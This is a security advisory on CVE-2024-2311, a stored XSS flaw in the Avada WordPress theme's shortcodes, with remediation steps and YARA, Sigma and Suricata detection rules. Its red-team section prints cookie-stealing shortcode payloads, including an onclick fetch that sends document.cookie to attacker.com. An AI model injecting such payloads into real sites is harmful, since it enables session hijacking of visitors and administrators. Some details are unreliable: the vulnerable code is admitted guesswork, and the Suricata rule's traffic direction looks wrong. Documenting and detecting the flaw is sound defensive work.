CVE-2024-2311

Executive Summary

CVE-2024-2311 is a Stored Cross-Site Scripting (XSS) vulnerability in the Avada WordPress theme, affecting all versions up to and including 7.11.6. The flaw resides in insufficient input sanitization and output escaping on user-supplied attributes within the theme's shortcodes. An authenticated attacker with at least contributor-level permissions can inject arbitrary web scripts that execute when a victim visits the compromised page. The CVSS score is 6.4 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. No public exploit code or patch details are currently available.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the Avada theme. Since Avada is a commercial theme distributed via ThemeForest and its own update system, the supply chain risk involves delayed or absent patches. Users must rely on the vendor for updates; no open-source patch is available. Organizations using Avada should monitor for official updates and consider temporary mitigations.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
• User Interaction (UI): Required (R) – Victim must visit the injected page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the stored nature of the XSS can lead to persistent attacks against site visitors.

Deep Dive & Mechanics

The vulnerability exists in the Avada theme's shortcode handling. Shortcodes are WordPress features that allow users to embed dynamic content via simple tags like [avada_shortcode attr="value"]. The theme fails to properly sanitize user-supplied attributes before rendering them in the page HTML. An attacker with contributor-level access can craft a shortcode with malicious JavaScript in an attribute, such as:

[avada_shortcode onmouseover="alert('XSS')"]

When the page is saved and later viewed by another user (including administrators), the injected script executes in the context of the victim's browser. This can lead to session hijacking, defacement, or redirection to malicious sites.

The root cause is the lack of esc_attr() or wp_kses() functions on shortcode attributes before output. The theme likely uses echo $attribute directly without proper escaping.

Vulnerable vs. Patched Code

Vulnerable Code (Avada <= 7.11.6):

function avada_shortcode_handler($atts) {
    $attr = shortcode_atts(array('color' => 'red'), $atts);
    // Direct output without escaping
    echo '<div style="color: ' . $attr['color'] . '">Content</div>';
}

Patched Code (Expected fix):

function avada_shortcode_handler($atts) {
    $attr = shortcode_atts(array('color' => 'red'), $atts);
    // Properly escape the attribute
    echo '<div style="color: ' . esc_attr($attr['color']) . '">Content</div>';
}

The patched version uses esc_attr() to encode special characters, preventing script injection. Without an official patch, users must manually apply similar escaping in custom code or wait for the vendor update.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Avada theme <= 7.11.6
• Contributor-level account or higher

Steps:

1. Log in as a contributor.
2. Create a new page or post.
3. Insert a shortcode with a malicious attribute:

   [fusion_text onmouseover="alert(document.cookie)"]Hover here[/fusion_text]
   

4. Publish the page.
5. When an administrator or visitor hovers over the text, the JavaScript executes.

Proof-of-Concept (No public exploit available):

<!-- Inject via shortcode attribute -->
[fusion_text onclick="fetch('https://attacker.com/steal?cookie='+document.cookie)"]Click me[/fusion_text]

Blue Team (Detection & Prevention)

Detection:

• Monitor for shortcode usage with suspicious attributes (e.g., onmouseover, onclick, javascript:).
• Use Web Application Firewall (WAF) rules to block XSS patterns in shortcode parameters.
• Review WordPress logs for unusual shortcode activity.

Prevention:

• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Apply input validation and output escaping in custom theme modifications.

Indicators of Compromise (IOCs)

• Network: HTTP requests containing shortcode attributes with event handlers (e.g., onmouseover, onclick).
• File: Modified WordPress posts/pages containing malicious shortcodes.
• Log: WordPress audit logs showing shortcode creation by non-admin users.
• Behavior: Unexpected JavaScript execution on page load or user interaction.

Example IOC in logs:

POST /wp-admin/post.php HTTP/1.1
Content: [fusion_text onmouseover="alert(1)"]Test[/fusion_text]

Detection Engineering

YARA Rule

rule CVE_2024_2311_Avada_XSS {
    meta:
        description = "Detects stored XSS in Avada theme shortcodes"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-2311"
    strings:
        $shortcode = /\[fusion_text\s+[^\]]*?(on\w+\s*=|javascript:)/i
        $shortcode2 = /\[avada_\w+\s+[^\]]*?(on\w+\s*=|javascript:)/i
    condition:
        any of them
}

Sigma Rule

title: Avada Theme Stored XSS via Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-2311 by injecting malicious shortcode attributes
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/post.php'
        cs-uri-query|contains|re: '\[fusion_text\s+[^\]]*?(on\w+\s*=|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of event handlers in shortcodes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-2311 Avada Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; pcre:"/\[fusion_text\s+[^\]]*?(on\w+\s*=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Avada: Check for an official patch from the vendor. If unavailable, consider disabling shortcodes for non-admin users via a plugin or custom code.
2. Restrict Permissions: Limit contributor-level access to trusted users only.
3. Web Application Firewall: Deploy WAF rules to block XSS patterns in shortcode attributes.

Long-term Fix:

• Apply output escaping (esc_attr(), esc_html()) to all shortcode attributes in the theme.
• Implement Content Security Policy (CSP) headers to reduce XSS impact.
• Regularly audit WordPress themes and plugins for security updates.

Workaround (if patch unavailable):

// Add to theme's functions.php to disable shortcodes for non-admins
add_action('init', 'restrict_shortcodes');
function restrict_shortcodes() {
    if (!current_user_can('administrator')) {
        remove_shortcode('fusion_text');
        // Add other vulnerable shortcodes
    }
}

Valters IT